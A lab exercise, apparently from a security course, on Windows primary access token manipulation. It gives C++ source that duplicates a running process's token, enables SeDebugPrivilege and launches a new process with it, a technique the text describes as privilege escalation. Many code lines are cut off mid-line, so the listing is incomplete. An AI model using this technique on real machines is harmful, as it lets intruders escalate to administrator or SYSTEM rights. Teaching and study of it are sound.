Primary Access Token Manipulation

Exercise 3: Creating and Using Custom Tokens

Objective:

Learn to create and use custom access tokens to execute processes with specific privileges.

Software:

C++, Process Hacker

Steps:

1. **Open Exercise 3 Folder:**
    - This Folder is located on the Desktop.
2. **Create a Custom Token:**
    - Open Paint as Admin.
    - Then right-click in the Exercise 3 folder and open a Command Prompt (CMD) as Admin.
    - Open Process Hacker and find the PID of the Paint app.
    - Using the opened Command Prompt (CMD), use the `CustomToken.exe` executable to create a process with a custom token by running the command, `CustomToken.exe <PID of the Paint App>`. Two Paint Applications will Open. (Source code is at the bottom)
3. **Verify the Token:**
    - Analyze these two applications using Process Hacker. In the General tab, look under “Parent”, they will both be different. One of the Paints has

spawned because of the program CustomToken.exe. Next, go to the “Token” tab. Analyze the Tokens, if we observe carefully we can see “SeDebugPrivilege” is enabled on one of them.

- **SeDebugPrivilege:**

  Description: Required to debug and adjust the memory of a process owned by another account.

- Document the custom token's privileges, groups, and other components.

4. **Analyze Impact:**
   - Discuss the potential impact of using custom tokens in a real-world scenario.
   - Document findings and potential security implications.
   - Usually instead of a Paint application, this would b done in a command prompt once users gain access to your computer, this is a chance for them to gain NT Authority. This is what Privilege Escalation is.

Explanation of the code:

```
#include <windows.h>
#include <iostream>
#include <string>
#include <psapi.h>

// Link with the necessary libraries
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "psapi.lib")

// Function to enable a specific privilege for a given token
bool EnablePrivilege(HANDLE tokenHandle, LPCTSTR privilege) {
    TOKEN_PRIVILEGES tp;
    LUID luid;

    // Lookup the LUID for the specified privilege
    if (!LookupPrivilegeValue(NULL, privilege, &luid)) {
```

```
        std::cerr << "LookupPrivilegeValue error: " << GetLastEr
        return false;
    }

    // Set up the TOKEN_PRIVILEGES structure
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    // Adjust the token privileges to enable the specified privi
    if (!AdjustTokenPrivileges(tokenHandle, FALSE, &tp, sizeof(T
        std::cerr << "AdjustTokenPrivileges error: " << GetLastE
        return false;
    }

    // Check if the privilege adjustment was successful
    if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) {
        std::cerr << "The token does not have the specified priv
        return false;
    }

    return true;
}

int main(int argc, char* argv[]) {
    // Check if the correct number of arguments is provided
    if (argc != 2) {
        std::cerr << "Usage: " << argv[0] << " <PID>" << std::en
        return 1;
    }

    // Convert the argument to a PID (Process ID)
    DWORD targetPID = std::stoul(argv[1]);

    HANDLE tokenHandle = NULL;
    HANDLE duplicateTokenHandle = NULL;
```

```
    STARTUPINFOW startupInfo;
    PROCESS_INFORMATION processInfo;
    WCHAR executablePath[MAX_PATH];

    // Open the target process
    HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE
    if (processHandle == NULL) {
        std::cerr << "Failed to open process with PID " << targe
        return 1;
    }

    // Get the executable path of the target process
    if (!GetModuleFileNameExW(processHandle, NULL, executablePat
        std::cerr << "Failed to get executable path - Error: " <
        CloseHandle(processHandle);
        return 1;
    }

    // Get a handle to the access token of the target process
    if (!OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN
        std::cerr << "Failed to open process token - Error: " <<
        CloseHandle(processHandle);
        return 1;
    }

    // Duplicate the access token
    if (!DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, NULL, S
        std::cerr << "Failed to duplicate token - Error: " << Ge
        CloseHandle(tokenHandle);
        CloseHandle(processHandle);
        return 1;
    }

    // Enable SeDebugPrivilege in the duplicated token
    if (!EnablePrivilege(duplicateTokenHandle, SE_DEBUG_NAME)) {
        std::cerr << "Failed to enable SeDebugPrivilege - Error
```

```
        CloseHandle(duplicateTokenHandle);
        CloseHandle(tokenHandle);
        CloseHandle(processHandle);
        return 1;
    }

    // Initialize the STARTUPINFOW structure
    ZeroMemory(&startupInfo, sizeof(STARTUPINFOW));
    ZeroMemory(&processInfo, sizeof(PROCESS_INFORMATION));
    startupInfo.cb = sizeof(STARTUPINFOW);

    // Create a new process with the duplicated access token
    if (!CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WI
        std::cerr << "Failed to create process with token - Erro
        CloseHandle(duplicateTokenHandle);
        CloseHandle(tokenHandle);
        CloseHandle(processHandle);
        return 1;
    }

    // Wait for the new process to exit
    WaitForSingleObject(processInfo.hProcess, INFINITE);

    // Clean up handles
    CloseHandle(processInfo.hProcess);
    CloseHandle(processInfo.hThread);
    CloseHandle(duplicateTokenHandle);
    CloseHandle(tokenHandle);
    CloseHandle(processHandle);

    return 0;
}
```

Explanation:

1. **Include necessary headers**: The code includes Windows-specific headers for accessing system and process information.
2. **Link with necessary libraries**: The `#pragma comment` lines link the program with `advapi32.lib` and `psapi.lib` libraries.
3. **EnablePrivilege function**: This function enables a specific privilege for a given token. It uses `LookupPrivilegeValue` to get the LUID for the privilege, then `AdjustTokenPrivileges` to enable it.
4. **Main function**:
    - **Argument check**: Ensures the correct number of arguments (PID) is provided.
    - **Convert PID**: Converts the command-line argument to a `DWORD` representing the PID.
    - **Open process**: Opens the target process using `OpenProcess`.
    - **Get executable path**: Retrieves the executable path of the target process with `GetModuleFileNameExW`.
    - **Open process token**: Obtains a handle to the process token with `OpenProcessToken`.
    - **Duplicate token**: Duplicates the token with `DuplicateTokenEx`.
    - **Enable SeDebugPrivilege**: Enables the `SeDebugPrivilege` in the duplicated token.
    - **Initialize structures**: Initializes `STARTUPINFOW` and `PROCESS_INFORMATION` structures.
    - **Create process with token**: Creates a new process using the duplicated token with `CreateProcessWithTokenW`.
    - **Wait for process**: Waits for the new process to exit with `WaitForSingleObject`.
    - **Clean up**: Closes all handles to free resources.